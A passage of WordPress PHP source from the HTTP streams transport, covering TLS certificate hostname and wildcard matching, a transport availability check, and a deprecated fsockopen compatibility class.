$certificate_hostnames[] = strtolower( $cert['subject']['CN'] );
}
Exact hostname/IP matches.
if ( in_array( strtolower( $host ), $certificate_hostnames, true ) ) {
return true;
}
IP's can't be wildcards, Stop processing.
if ( 'ip' === $host_type ) {
return false;
}
Test to see if the domain is at least 2 deep for wildcard support.
if ( substr_count( $host, '.' ) < 2 ) {
return false;
}
Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com.
$wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host );
return in_array( strtolower( $wildcard_host ), $certificate_hostnames, true );
}
*
* Determines whether this class can be used for retrieving a URL.
*
* @since 2.7.0
* @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
*
* @param array $args Optional. Array of request arguments. Default empty array.
* @return bool False means this class can not be used, true means it can.
public static function test( $args = array() ) {
if ( ! function_exists( 'stream_socket_client' ) ) {
return false;
}
$is_ssl = isset( $args['ssl'] ) && $args['ssl'];
if ( $is_ssl ) {
if ( ! extension_loaded( 'openssl' ) ) {
return false;
}
if ( ! function_exists( 'openssl_x509_parse' ) ) {
return false;
}
}
*
* Filters whether streams can be used as a transport for retrieving a URL.
*
* @since 2.7.0
*
* @param bool $use_class Whether the class can be used. Default true.
* @param array $args Request arguments.
return apply_filters( 'use_streams_transport', true, $args );
}
}
*
* Deprecated HTTP Transport method which used fsockopen.
*
* This class is not used, and is included for backward compatibility only.
* All code should make use of WP_Http directly through its API.
*
* @see WP_HTTP::request
*
* @since 2.7.0
* @deprecated 3.7.0 Please use WP_HTTP::request() directly
class WP_HTTP_Fsockopen extends WP_Http_Streams {
For backward compatibility for users who are using the class directly.
}
*/